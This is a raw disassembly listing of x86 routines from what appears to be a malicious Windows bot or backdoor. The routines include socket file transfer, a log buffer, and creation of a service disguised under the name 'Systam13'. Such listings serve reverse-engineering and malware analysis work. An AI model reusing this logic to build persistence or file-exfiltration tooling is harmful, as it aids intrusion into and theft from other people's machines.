		push	edi
		mov	esi, offset dword_43FA70
		mov	edi, 0B8h

loc_40BE89:				; CODE XREF: sub_40BE75+33j
		cmp	byte ptr [esi],	0
		jz	short loc_40BEAC
		push	[ebp+arg_0]
		push	esi
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_40BEAC
		inc	[ebp+var_4]
		add	esi, edi
		cmp	esi, offset dword_4405F0
		jl	short loc_40BE89
		jmp	short loc_40BEEE
; ---------------------------------------------------------------------------

loc_40BEAC:				; CODE XREF: sub_40BE75+17j
					; sub_40BE75+26j
		mov	esi, [ebp+var_4]
		push	ebx
		imul	esi, 0B8h
		push	edi
		push	0
		lea	ebx, dword_43FA70[esi]
		push	ebx
		call	sub_417330
		push	17h
		push	[ebp+arg_0]
		push	ebx
		call	sub_418C10
		push	9Fh
		lea	eax, dword_43FA88[esi]
		push	[ebp+arg_4]
		push	eax
		call	sub_418C10
		add	esp, 24h
		inc	dword_42F794
		pop	ebx

loc_40BEEE:				; CODE XREF: sub_40BE75+35j
		mov	eax, [ebp+var_4]
		pop	edi
		pop	esi
		leave
		retn
sub_40BE75	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40BEF5	proc near		; CODE XREF: sub_40EE72+5B58p

var_200		= byte ptr -200h
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 200h
		push	esi
		push	edi
		push	0
		push	[ebp+arg_8]
		push	offset dword_42DF90
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_40D679
		add	esp, 14h
		xor	edi, edi
		mov	esi, offset dword_43FA70

loc_40BF1F:				; CODE XREF: sub_40BEF5+72j
		cmp	byte ptr [esi],	0
		jz	short loc_40BF5A
		lea	eax, [esi+18h]
		push	eax
		push	esi
		push	edi
		push	offset dword_42DF84
		lea	eax, [ebp+var_200]
		push	200h
		push	eax
		call	sub_41782A
		push	1
		lea	eax, [ebp+var_200]
		push	[ebp+arg_8]
		push	eax
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_40D679
		add	esp, 2Ch

loc_40BF5A:				; CODE XREF: sub_40BEF5+2Dj
		add	esi, 0B8h
		inc	edi
		cmp	esi, offset dword_4405F0
		jl	short loc_40BF1F
		pop	edi
		pop	esi
		leave
		retn
sub_40BEF5	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40BF6D	proc near		; CODE XREF: sub_401000+9Ap
					; sub_4010B5+314p ...

var_10		= word ptr -10h
var_E		= word ptr -0Eh
var_A		= word ptr -0Ah
var_8		= word ptr -8
var_6		= word ptr -6
var_4		= word ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 10h
		push	ebx
		push	esi
		lea	eax, [ebp+var_10]
		push	edi
		push	eax
		call	near ptr 2620514h
		nop
		mov	ebx, offset dword_43F164
		mov	edi, 80h
		mov	esi, offset dword_43B164

loc_40BF8F:				; CODE XREF: sub_40BF6D+3Dj
		cmp	byte ptr [ebx],	0
		jz	short loc_40BFA6
		push	7Fh
		lea	eax, [ebx+80h]
		push	ebx
		push	eax
		call	sub_418C10
		add	esp, 0Ch

loc_40BFA6:				; CODE XREF: sub_40BF6D+25j
		sub	ebx, edi
		cmp	ebx, esi
		jge	short loc_40BF8F
		movzx	eax, [ebp+var_4]
		push	[ebp+arg_0]
		push	eax
		movzx	eax, [ebp+var_6]
		push	eax
		movzx	eax, [ebp+var_8]
		push	eax
		movzx	eax, [ebp+var_10]
		push	eax
		movzx	eax, [ebp+var_A]
		push	eax
		movzx	eax, [ebp+var_E]
		push	eax
		push	offset a_2d_2d4d_2d_2d ; "[%.2d-%.2d-%4d %.2d:%.2d:%.2d] %s"
		push	edi
		push	esi
		call	sub_41782A
		add	esp, 28h
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_40BF6D	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40BFE1	proc near		; CODE XREF: sub_407BDE+15Bp
					; ___:00407F15p ...

var_80		= byte ptr -80h
arg_0		= dword	ptr  8
arg_4		= byte ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 80h
		lea	eax, [ebp+arg_4]
		push	eax
		lea	eax, [ebp+var_80]
		push	[ebp+arg_0]
		push	80h
		push	eax
		call	sub_4193FF
		lea	eax, [ebp+var_80]
		push	eax
		call	sub_40BF6D
		add	esp, 14h
		leave
		retn
sub_40BFE1	endp


; =============== S U B	R O U T	I N E =======================================



sub_40C00D	proc near		; CODE XREF: sub_40EE72+5A4Fp

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch
arg_C		= dword	ptr  10h

		mov	eax, offset dword_43B164
		xor	ecx, ecx

loc_40C014:				; CODE XREF: sub_40C00D+13j
		mov	[eax], cl
		add	eax, 80h
		cmp	eax, offset dword_43F164
		jl	short loc_40C014
		cmp	[esp+arg_C], ecx
		push	esi
		mov	esi, offset dword_42DFC4
		jnz	short loc_40C044
		push	ecx
		push	[esp+8+arg_8]
		push	esi
		push	[esp+10h+arg_4]
		push	[esp+14h+arg_0]
		call	sub_40D679
		add	esp, 14h

loc_40C044:				; CODE XREF: sub_40C00D+1Fj
		push	esi
		call	sub_40BF6D
		pop	ecx
		pop	esi
		retn
sub_40C00D	endp


; =============== S U B	R O U T	I N E =======================================



sub_40C04D	proc near		; CODE XREF: sub_402DD7+2AEp

arg_0		= dword	ptr  4

		push	esi
		mov	esi, offset dword_43B164

loc_40C053:				; CODE XREF: sub_40C04D+27j
		cmp	byte ptr [esi],	0
		jz	short loc_40C068
		push	[esp+4+arg_0]
		push	esi
		call	sub_40A96F
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_40C07A

loc_40C068:				; CODE XREF: sub_40C04D+9j
		add	esi, 80h
		cmp	esi, offset dword_43F164
		jl	short loc_40C053
		xor	eax, eax
		pop	esi
		retn
; ---------------------------------------------------------------------------

loc_40C07A:				; CODE XREF: sub_40C04D+19j
		push	1
		pop	eax
		pop	esi
		retn
sub_40C04D	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40C07F	proc near		; DATA XREF: sub_40EE72+5B02o

var_31C		= byte ptr -31Ch
var_11C		= dword	ptr -11Ch
var_118		= byte ptr -118h
var_98		= byte ptr -98h
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 31Ch
		mov	eax, [ebp+arg_0]
		push	esi
		push	edi
		push	45h
		pop	ecx
		mov	esi, eax
		lea	edi, [ebp+var_11C]
		push	1
		rep movsd
		xor	edx, edx
		pop	edi
		cmp	[ebp+var_10], edx
		mov	[ebp+var_8], 80h
		mov	[ebp+var_4], edx
		mov	[eax+110h], edi
		jnz	short loc_40C0D2
		push	edx
		lea	eax, [ebp+var_118]
		push	[ebp+var_14]
		push	offset dword_42E018
		push	eax
		push	[ebp+var_11C]
		call	sub_40D679
		add	esp, 14h

loc_40C0D2:				; CODE XREF: sub_40C07F+33j
		cmp	[ebp+var_98], 0
		jz	short loc_40C0F2
		lea	eax, [ebp+var_98]
		push	eax
		call	sub_41781F
		test	eax, eax
		pop	ecx
		mov	[ebp+var_4], eax
		jz	short loc_40C0F2
		mov	[ebp+var_8], eax

loc_40C0F2:				; CODE XREF: sub_40C07F+5Aj
					; sub_40C07F+6Ej
		and	[ebp+arg_0], 0
		mov	esi, offset dword_43B164

loc_40C0FB:				; CODE XREF: sub_40C07F+D4j
		mov	eax, [ebp+arg_0]
		cmp	eax, [ebp+var_8]
		jge	short loc_40C155
		cmp	byte ptr [esi],	0
		jz	short loc_40C144
		cmp	[ebp+var_98], 0
		jz	short loc_40C12A
		cmp	[ebp+var_4], 0
		jnz	short loc_40C12A
		lea	eax, [ebp+var_98]
		push	eax
		push	esi
		call	sub_40A96F
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_40C144

loc_40C12A:				; CODE XREF: sub_40C07F+90j
					; sub_40C07F+96j
		push	edi
		lea	eax, [ebp+var_118]
		push	[ebp+var_14]
		push	esi
		push	eax
		push	[ebp+var_11C]
		call	sub_40D679
		add	esp, 14h

loc_40C144:				; CODE XREF: sub_40C07F+87j
					; sub_40C07F+A9j
		inc	[ebp+arg_0]
		add	esi, 80h
		cmp	esi, offset dword_43F164
		jl	short loc_40C0FB

loc_40C155:				; CODE XREF: sub_40C07F+82j
		lea	eax, [ebp+var_31C]
		push	offset dword_42DFEC
		push	eax
		call	sub_4172B0
		xor	esi, esi
		pop	ecx
		cmp	[ebp+var_10], esi
		pop	ecx
		jnz	short loc_40C18F
		push	esi
		lea	eax, [ebp+var_31C]
		push	[ebp+var_14]
		push	eax
		lea	eax, [ebp+var_118]
		push	eax
		push	[ebp+var_11C]
		call	sub_40D679
		add	esp, 14h

loc_40C18F:				; CODE XREF: sub_40C07F+EEj
		lea	eax, [ebp+var_31C]
		push	eax
		call	sub_40BF6D
		push	[ebp+var_18]
		call	sub_417078
		pop	ecx
		pop	ecx
		push	esi
		nop
		call	near ptr 26101F3h
		pop	edi
		pop	esi
sub_40C07F	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40C1AE	proc near		; CODE XREF: sub_40AC42+1Ep
					; ___:0040E9EFp

var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ebx
		push	esi
		push	edi
		mov	edi, offset dword_42E038
		xor	esi, esi
		mov	ebx, offset aSystam13 ;	"Systam13"

loc_40C1C1:				; CODE XREF: sub_40C1AE+69j
		lea	eax, [ebp+var_4]
		push	esi
		push	eax
		push	esi
		push	0F003Fh
		push	esi
		push	esi
		push	esi
		push	dword ptr [edi+4]
		push	dword ptr [edi]
		call	dword_43AD4C
		cmp	[ebp+arg_0], esi
		jz	short loc_40C1FB
		push	[ebp+arg_0]
		call	sub_417AB0
		pop	ecx
		push	eax
		push	[ebp+arg_0]
		push	1
		push	esi
		push	ebx
		push	[ebp+var_4]
		call	dword_43ADBC
		jmp	short loc_40C205
; ---------------------------------------------------------------------------

loc_40C1FB:				; CODE XREF: sub_40C1AE+2Fj
		push	ebx
		push	[ebp+var_4]
		call	dword_43AD04

loc_40C205:				; CODE XREF: sub_40C1AE+4Bj
		push	[ebp+var_4]
		call	dword_43AD74
		add	edi, 8
		cmp	edi, offset dword_42E050
		jb	short loc_40C1C1
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_40C1AE	endp


; =============== S U B	R O U T	I N E =======================================



sub_40C21E	proc near		; CODE XREF: sub_40C259+56p

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		mov	eax, [esp+arg_4]
		mov	edx, [esp+arg_0]
		push	esi
		or	esi, 0FFFFFFFFh
		test	eax, eax
		jz	short loc_40C253
		push	ebx
		push	edi
		lea	edi, [eax]
		mov	ecx, 0FFh

loc_40C237:				; CODE XREF: sub_40C21E+31j
		mov	al, [edx]
		mov	ebx, esi
		and	eax, ecx
		and	ebx, ecx
		xor	eax, ebx
		shr	esi, 8
		mov	eax, dword_424298[eax*4]
		xor	esi, eax
		inc	edx
		dec	edi
		jnz	short loc_40C237
		pop	edi
		pop	ebx

loc_40C253:				; CODE XREF: sub_40C21E+Ej
		mov	eax, esi
		pop	esi
		not	eax
		retn
sub_40C21E	endp


; =============== S U B	R O U T	I N E =======================================



sub_40C259	proc near		; CODE XREF: sub_40CAF1+24Ap

var_10		= dword	ptr -10h
arg_0		= dword	ptr  4

		push	ebx
		push	esi
		xor	ebx, ebx
		push	edi
		push	ebx
		call	sub_417B89
		mov	[esp+10h+var_10], offset aRb ; "rb"
		push	[esp+10h+arg_0]
		mov	esi, eax
		call	sub_4179A8
		mov	edi, eax
		pop	ecx
		test	edi, edi
		pop	ecx
		jz	short loc_40C2A8

loc_40C27E:				; CODE XREF: sub_40C259+4Dj
		test	byte ptr [edi+0Ch], 10h
		jnz	short loc_40C2AC
		inc	ebx
		push	ebx
		push	esi
		call	sub_41944F
		mov	esi, eax
		pop	ecx
		test	esi, esi
		pop	ecx
		jz	short loc_40C2A8
		push	edi
		push	1
		lea	eax, [esi+ebx-1]
		push	1
		push	eax
		call	sub_418A86
		add	esp, 10h
		jmp	short loc_40C27E
; ---------------------------------------------------------------------------

loc_40C2A8:				; CODE XREF: sub_40C259+23j
					; sub_40C259+39j
		xor	eax, eax
		jmp	short loc_40C2C7
; ---------------------------------------------------------------------------

loc_40C2AC:				; CODE XREF: sub_40C259+29j
		dec	ebx
		push	ebx
		push	esi
		call	sub_40C21E
		push	esi
		mov	ebx, eax
		call	sub_417C3B
		push	edi
		call	sub_417900
		add	esp, 10h
		mov	eax, ebx

loc_40C2C7:				; CODE XREF: sub_40C259+51j
		pop	edi
		pop	esi
		pop	ebx
		retn
sub_40C259	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40C2CB	proc near		; CODE XREF: sub_40C351+33p
					; sub_40C8B4+BCp

var_10		= word ptr -10h
var_E		= word ptr -0Eh
var_C		= dword	ptr -0Ch
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 10h
		push	esi
		push	edi
		push	0
		push	1
		push	2
		call	dword_43AE18
		mov	edi, eax
		or	esi, 0FFFFFFFFh
		cmp	edi, esi
		jz	short loc_40C347
		push	10h
		lea	eax, [ebp+var_10]
		push	0
		push	eax
		call	sub_417330
		add	esp, 0Ch
		mov	[ebp+var_10], 2
		push	[ebp+arg_4]
		call	dword_43AD98
		push	[ebp+arg_0]
		mov	[ebp+var_E], ax
		call	dword_43ADD8
		cmp	eax, esi
		jnz	short loc_40C32C
		push	[ebp+arg_0]
		call	dword_43AE1C
		test	eax, eax
		jz	short loc_40C347
		mov	eax, [eax+0Ch]
		mov	eax, [eax]
		mov	eax, [eax]

loc_40C32C:				; CODE XREF: sub_40C2CB+4Bj
		mov	[ebp+var_C], eax
		lea	eax, [ebp+var_10]
		push	10h
		push	eax
		push	edi
		call	dword_43AD40
		cmp	eax, esi
		jnz	short loc_40C34B
		push	edi
		call	dword_43AE30

loc_40C347:				; CODE XREF: sub_40C2CB+1Bj
					; sub_40C2CB+58j
		mov	eax, esi
		jmp	short loc_40C34D
; ---------------------------------------------------------------------------

loc_40C34B:				; CODE XREF: sub_40C2CB+73j
		mov	eax, edi

loc_40C34D:				; CODE XREF: sub_40C2CB+7Ej
		pop	edi
		pop	esi
		leave
		retn
sub_40C2CB	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40C351	proc near		; DATA XREF: sub_40EE72+A88o

var_11B4	= byte ptr -11B4h
var_1B4		= byte ptr -1B4h
var_1AC		= byte ptr -1ACh
var_94		= byte ptr -94h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		mov	eax, 11B4h
		call	sub_417B30
		mov	eax, [ebp+arg_0]
		push	ebx
		push	esi
		push	edi
		push	6Dh
		mov	esi, eax
		pop	ecx
		lea	edi, [ebp+var_1B4]
		rep movsd
		push	1
		pop	esi
		push	[ebp+var_14]
		mov	[eax+1B0h], esi
		lea	eax, [ebp+var_1AC]
		push	eax
		call	sub_40C2CB
		mov	ebx, eax
		pop	ecx
		cmp	ebx, 0FFFFFFFFh
		pop	ecx
		jnz	short loc_40C3E4
		lea	eax, [ebp+var_11B4]
		push	offset dword_42E0D4
		push	eax
		call	sub_4172B0
		xor	edi, edi
		pop	ecx
		cmp	[ebp+var_8], edi
		pop	ecx
		jnz	short loc_40C3C7
		push	edi
		lea	eax, [ebp+var_11B4]
		push	[ebp+var_C]
		push	eax
		lea	eax, [ebp+var_94]
		push	eax
		push	ebx
		call	sub_40D679
		add	esp, 14h

loc_40C3C7:				; CODE XREF: sub_40C351+59j
		lea	eax, [ebp+var_11B4]
		push	eax
		call	sub_40BF6D
		push	[ebp+var_10]
		call	sub_417078
		pop	ecx
		pop	ecx
		push	esi
		call	near ptr 26101F3h
		nop

loc_40C3E4:				; CODE XREF: sub_40C351+3Fj
		push	offset byte_436EDC
		push	ebx
		call	sub_40B56C
		pop	ecx
		cmp	eax, 0FFFFFFFFh
		pop	ecx
		jnz	short loc_40C44F
		lea	eax, [ebp+var_11B4]
		push	offset dword_42E094
		push	eax
		call	sub_4172B0
		xor	edi, edi
		pop	ecx
		cmp	[ebp+var_8], edi
		pop	ecx
		jnz	short loc_40C42B
		push	edi
		lea	eax, [ebp+var_11B4]
		push	[ebp+var_C]
		push	eax
		lea	eax, [ebp+var_94]
		push	eax
		push	ebx
		call	sub_40D679
		add	esp, 14h

loc_40C42B:				; CODE XREF: sub_40C351+BDj
		lea	eax, [ebp+var_11B4]
		push	eax
		call	sub_40BF6D
		pop	ecx
		push	ebx
		call	dword_43AE30
		push	[ebp+var_10]
		call	sub_417078
		pop	ecx
		push	esi
		nop
		call	near ptr 26101F3h

loc_40C44F:				; CODE XREF: sub_40C351+A3j
		push	64h
		nop
		call	near ptr 2610E42h
		xor	edi, edi
		mov	esi, 1000h

loc_40C45E:				; CODE XREF: sub_40C351+168j
		push	esi
		lea	eax, [ebp+var_11B4]
		push	edi
		push	eax
		call	sub_417330
		add	esp, 0Ch
		lea	eax, [ebp+var_11B4]
		push	edi
		push	esi
		push	eax
		push	ebx
		call	dword_43ADB0
		test	eax, eax
		jle	short loc_40C4BB
		lea	eax, [ebp+var_11B4]
		push	offset asc_42A660 ; "\n"
		push	eax
		call	sub_4179D0
		lea	eax, [ebp+var_11B4]
		push	eax
		call	sub_40B358
		add	esp, 0Ch
		test	eax, eax
		jz	short loc_40C4BB
		push	64h
		nop
		call	near ptr 2610E42h
		push	7
		call	sub_416FA4
		test	eax, eax
		pop	ecx
		jnz	short loc_40C45E

loc_40C4BB:				; CODE XREF: sub_40C351+130j
					; sub_40C351+154j
		lea	eax, [ebp+var_11B4]
		push	offset dword_42E050
		push	eax
		call	sub_4172B0
		cmp	[ebp+var_8], edi
		pop	ecx
		pop	ecx
		jnz	short loc_40C4EE
		push	edi
		lea	eax, [ebp+var_11B4]
		push	[ebp+var_C]
		push	eax
		lea	eax, [ebp+var_94]
		push	eax
		push	ebx
		call	sub_40D679
		add	esp, 14h

loc_40C4EE:				; CODE XREF: sub_40C351+180j
		lea	eax, [ebp+var_11B4]
		push	eax
		call	sub_40BF6D
		pop	ecx
		push	ebx
		call	dword_43AE30
		push	[ebp+var_10]
		call	sub_417078
		pop	ecx
		push	edi
		call	near ptr 26101F3h
		nop
sub_40C351	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40C512	proc near		; DATA XREF: sub_40EE72+4A7Co

var_A04		= byte ptr -0A04h
var_604		= byte ptr -604h
var_500		= dword	ptr -500h
var_4FC		= dword	ptr -4FCh
var_3FC		= byte ptr -3FCh
var_1FC		= dword	ptr -1FCh
var_1F8		= dword	ptr -1F8h
var_1E0		= byte ptr -1E0h
var_DC		= byte ptr -0DCh
var_58		= dword	ptr -58h
var_54		= dword	ptr -54h
var_50		= dword	ptr -50h
var_48		= byte ptr -48h
var_44		= dword	ptr -44h
var_38		= dword	ptr -38h
var_34		= dword	ptr -34h
var_30		= word ptr -30h
var_2E		= dword	ptr -2Eh
var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 0A04h
		mov	eax, [ebp+arg_0]
		push	ebx
		push	esi
		push	edi
		push	6Dh
		mov	esi, eax
		pop	ecx
		lea	edi, [ebp+var_1FC]
		rep movsd
		push	1
		xor	esi, esi
		pop	ebx
		mov	[ebp+var_10], esi
		push	esi
		push	ebx
		push	2
		mov	[eax+1B0h], ebx
		mov	[ebp+var_C], esi
		mov	[ebp+var_20], esi
		call	dword_43AE18
		mov	edi, eax
		cmp	edi, 0FFFFFFFFh
		mov	[ebp+var_18], edi
		jnz	short loc_40C560
		push	offset dword_42E258
		jmp	loc_40C719
; ---------------------------------------------------------------------------

loc_40C560:				; CODE XREF: sub_40C512+42j
		push	10h
		lea	eax, [ebp+var_30]
		push	esi
		push	eax
		call	sub_417330
		add	esp, 0Ch
		mov	[ebp+var_30], 2
		push	esi
		call	dword_43AD98
		mov	word ptr [ebp+var_2E], ax
		lea	eax, [ebp+var_30]
		push	10h
		push	eax
		push	edi
		mov	[ebp+var_2E+2],	esi
		call	dword_43ADC4
		test	eax, eax
		jz	short loc_40C59E
		push	offset dword_42E224
		jmp	loc_40C719
; ---------------------------------------------------------------------------

loc_40C59E:				; CODE XREF: sub_40C512+80j
		lea	eax, [ebp+var_1C]
		mov	[ebp+var_1C], 10h
		push	eax
		lea	eax, [ebp+var_30]
		push	eax
		push	edi
		call	dword_43AD3C
		push	[ebp+var_2E]
		call	dword_43ACD4
		mov	[ebp+var_4], eax
		lea	eax, [ebp+var_1E0]
		push	eax
		mov	[ebp+arg_0], esi
		call	sub_417AB0
		pop	ecx

loc_40C5D0:				; CODE XREF: sub_40C512+EFj
		mov	ecx, [ebp+arg_0]
		mov	al, [ebp+ecx+var_1E0]
		cmp	al, 20h
		jnz	short loc_40C5E3
		push	5Fh
		pop	eax
		jmp	short loc_40C5E6
; ---------------------------------------------------------------------------

loc_40C5E3:				; CODE XREF: sub_40C512+CAj
		movsx	eax, al

loc_40C5E6:				; CODE XREF: sub_40C512+CFj
		mov	[ebp+ecx+var_604], al
		lea	eax, [ebp+var_1E0]
		inc	ecx
		push	eax
		mov	[ebp+arg_0], ecx
		call	sub_417AB0
		cmp	[ebp+arg_0], eax
		pop	ecx
		jbe	short loc_40C5D0
		push	ebx
		push	edi
		call	dword_43ADC0
		test	eax, eax
		jz	short loc_40C619
		push	offset dword_42E0D4
		jmp	loc_40C719
; ---------------------------------------------------------------------------

loc_40C619:				; CODE XREF: sub_40C512+FBj
		push	esi
		push	esi
		push	3
		push	esi
		push	ebx
		lea	eax, [ebp+var_1E0]
		push	80000000h
		push	eax
		nop
		call	near ptr 2660802h
		cmp	eax, 0FFFFFFFFh
		mov	[ebp+var_8], eax
		jnz	short loc_40C643
		push	offset dword_42E1F4
		jmp	loc_40C719
; ---------------------------------------------------------------------------

loc_40C643:				; CODE XREF: sub_40C512+125j
		push	esi
		push	eax
		call	near ptr 26A0000h
		nop
		mov	[ebp+arg_0], eax
		push	eax
		movzx	eax, word ptr [ebp+var_4]
		push	eax
		push	[ebp+var_1FC]
		call	sub_40AEE0
		pop	ecx
		push	eax
		call	dword_43ADD8
		push	eax
		call	dword_43AD94
		push	eax
		lea	eax, [ebp+var_1E0]
		push	eax
		lea	eax, [ebp+var_3FC]
		push	offset dword_42E1DC
		push	eax
		call	sub_4172B0
		push	esi
		lea	eax, [ebp+var_3FC]
		push	esi
		push	eax
		lea	eax, [ebp+var_DC]
		push	eax
		push	[ebp+var_1FC]
		call	sub_40D679
		add	esp, 2Ch
		lea	eax, [ebp+var_38]
		mov	[ebp+var_38], 3Ch
		mov	[ebp+var_34], esi
		push	eax
		push	esi
		lea	eax, [ebp+var_500]
		push	esi
		push	eax
		push	esi
		mov	[ebp+var_4FC], edi
		mov	[ebp+var_500], ebx
		call	dword_43AD80
		test	eax, eax
		jg	short loc_40C6F3
		push	esi
		lea	eax, [ebp+var_DC]
		push	[ebp+var_54]
		push	offset dword_42E1B4
		push	eax
		push	[ebp+var_1FC]
		call	sub_40D679
		jmp	loc_40C817
; ---------------------------------------------------------------------------

loc_40C6F3:				; CODE XREF: sub_40C512+1BFj
		lea	eax, [ebp+var_14]
		mov	[ebp+var_14], 10h
		push	eax
		lea	eax, [ebp+var_48]
		push	eax
		push	edi
		call	dword_43AE2C
		cmp	eax, 0FFFFFFFFh
		mov	[ebp+var_1F8], eax
		jnz	short loc_40C72C
		push	offset dword_42E180

loc_40C719:				; CODE XREF: sub_40C512+49j
					; sub_40C512+87j ...
		lea	eax, [ebp+var_3FC]
		push	eax
		call	sub_4172B0
		pop	ecx
		pop	ecx
		jmp	loc_40C81A
; ---------------------------------------------------------------------------

loc_40C72C:				; CODE XREF: sub_40C512+200j
		push	edi
		call	dword_43AE30
		cmp	[ebp+arg_0], esi
		jz	loc_40C7DE
		mov	edi, 400h

loc_40C741:				; CODE XREF: sub_40C512+2C3j
		mov	eax, [ebp+arg_0]
		mov	[ebp+var_4], edi
		cmp	eax, edi
		jge	short loc_40C74E
		mov	[ebp+var_4], eax

loc_40C74E:				; CODE XREF: sub_40C512+237j
		push	edi
		lea	eax, [ebp+var_A04]
		push	esi
		push	eax
		call	sub_417330
		mov	eax, [ebp+arg_0]
		add	esp, 0Ch
		neg	eax
		push	2
		push	esi
		push	eax
		push	[ebp+var_8]
		nop
		call	near ptr 26E0000h
		lea	eax, [ebp+var_20]
		push	esi
		push	eax
		lea	eax, [ebp+var_A04]
		push	[ebp+var_4]
		push	eax
		push	[ebp+var_8]
		nop
		call	near ptr 2640000h
		push	esi
		lea	eax, [ebp+var_A04]
		push	[ebp+var_4]
		push	eax
		push	[ebp+var_1F8]
		call	dword_43ADE8
		mov	[ebp+var_4], eax
		push	esi
		cdq
		add	[ebp+var_10], eax
		lea	eax, [ebp+var_A04]
		push	edi
		push	eax
		push	[ebp+var_1F8]
		adc	[ebp+var_C], edx
		call	dword_43ADB0
		cmp	eax, ebx
		jl	loc_40C873
		mov	eax, [ebp+var_4]
		cmp	eax, ebx
		jl	loc_40C873
		sub	[ebp+arg_0], eax
		jnz	loc_40C741
		mov	edi, [ebp+var_18]

loc_40C7DE:				; CODE XREF: sub_40C512+224j
		push	[ebp+var_8]
		call	near ptr 2640811h
		nop
		push	[ebp+var_C]
		push	[ebp+var_10]
		call	sub_40D01A
		pop	ecx
		pop	ecx
		push	eax
		lea	eax, [ebp+var_1E0]
		push	eax
		push	[ebp+var_44]
		call	dword_43AE24
		push	eax
		lea	eax, [ebp+var_3FC]
		push	offset dword_42E130
		push	eax
		call	sub_4172B0

loc_40C817:				; CODE XREF: sub_40C512+1DCj
		add	esp, 14h

loc_40C81A:				; CODE XREF: sub_40C512+215j
		cmp	[ebp+var_50], esi
		jnz	short loc_40C83F
		push	esi
		lea	eax, [ebp+var_3FC]
		push	[ebp+var_54]
		push	eax
		lea	eax, [ebp+var_DC]
		push	eax
		push	[ebp+var_1FC]
		call	sub_40D679
		add	esp, 14h

loc_40C83F:				; CODE XREF: sub_40C512+30Bj
		lea	eax, [ebp+var_3FC]
		push	eax
		call	sub_40BF6D
		cmp	edi, esi
		pop	ecx
		jbe	short loc_40C857
		push	edi
		call	dword_43AE30

loc_40C857:				; CODE XREF: sub_40C512+33Cj
		push	[ebp+var_1F8]
		call	dword_43AE30
		push	[ebp+var_58]
		call	sub_417078
		pop	ecx
		push	esi
		nop
		call	near ptr 26101F3h

loc_40C873:				; CODE XREF: sub_40C512+2AFj
					; sub_40C512+2BAj
		push	esi
		mov	esi, offset dword_42E108
		push	[ebp+var_54]
		lea	eax, [ebp+var_DC]
		push	esi
		push	eax
		push	[ebp+var_1FC]
		call	sub_40D679
		push	esi
		call	sub_40BF6D
		add	esp, 18h
		push	[ebp+var_1F8]
		call	dword_43AE30
		push	[ebp+var_58]
		call	sub_417078
		pop	ecx
		push	ebx
		nop
		call	near ptr 26101F3h
sub_40C512	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40C8B4	proc near		; DATA XREF: sub_40EE72+7C0o

var_14C4	= byte ptr -14C4h
var_4C4		= byte ptr -4C4h
var_2C4		= byte ptr -2C4h
var_1C0		= dword	ptr -1C0h
var_1B8		= byte ptr -1B8h
var_1A4		= byte ptr -1A4h
var_A0		= byte ptr -0A0h
var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		mov	eax, 14C4h
		call	sub_417B30
		mov	eax, [ebp+arg_0]
		push	ebx
		push	esi
		push	edi
		push	6Dh
		mov	esi, eax
		pop	ecx
		lea	edi, [ebp+var_1C0]
		rep movsd
		push	1
		xor	ebx, ebx
		pop	esi
		mov	[ebp+var_8], ebx
		mov	[eax+1B0h], esi
		lea	eax, [ebp+var_2C4]
		push	104h
		push	eax
		call	near ptr 2620000h
		nop
		lea	eax, [ebp+var_1A4]
		push	eax
		lea	eax, [ebp+var_2C4]
		push	eax
		lea	eax, [ebp+var_2C4]
		push	offset aSS_2	; "%s%s"
		push	eax
		call	sub_4172B0
		add	esp, 10h
		lea	eax, [ebp+var_2C4]
		push	ebx
		push	80h
		push	2
		push	ebx
		push	esi
		push	40000000h
		push	eax
		nop
		call	near ptr 2660802h
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_40C93E
		push	offset dword_42E350
		jmp	short loc_40C984
; ---------------------------------------------------------------------------

loc_40C93E:				; CODE XREF: sub_40C8B4+81j
		push	eax
		nop
		call	near ptr 2640811h
		lea	eax, [ebp+var_2C4]
		push	offset aAB	; "a+b"
		push	eax
		call	sub_4179A8
		pop	ecx
		cmp	eax, ebx
		pop	ecx
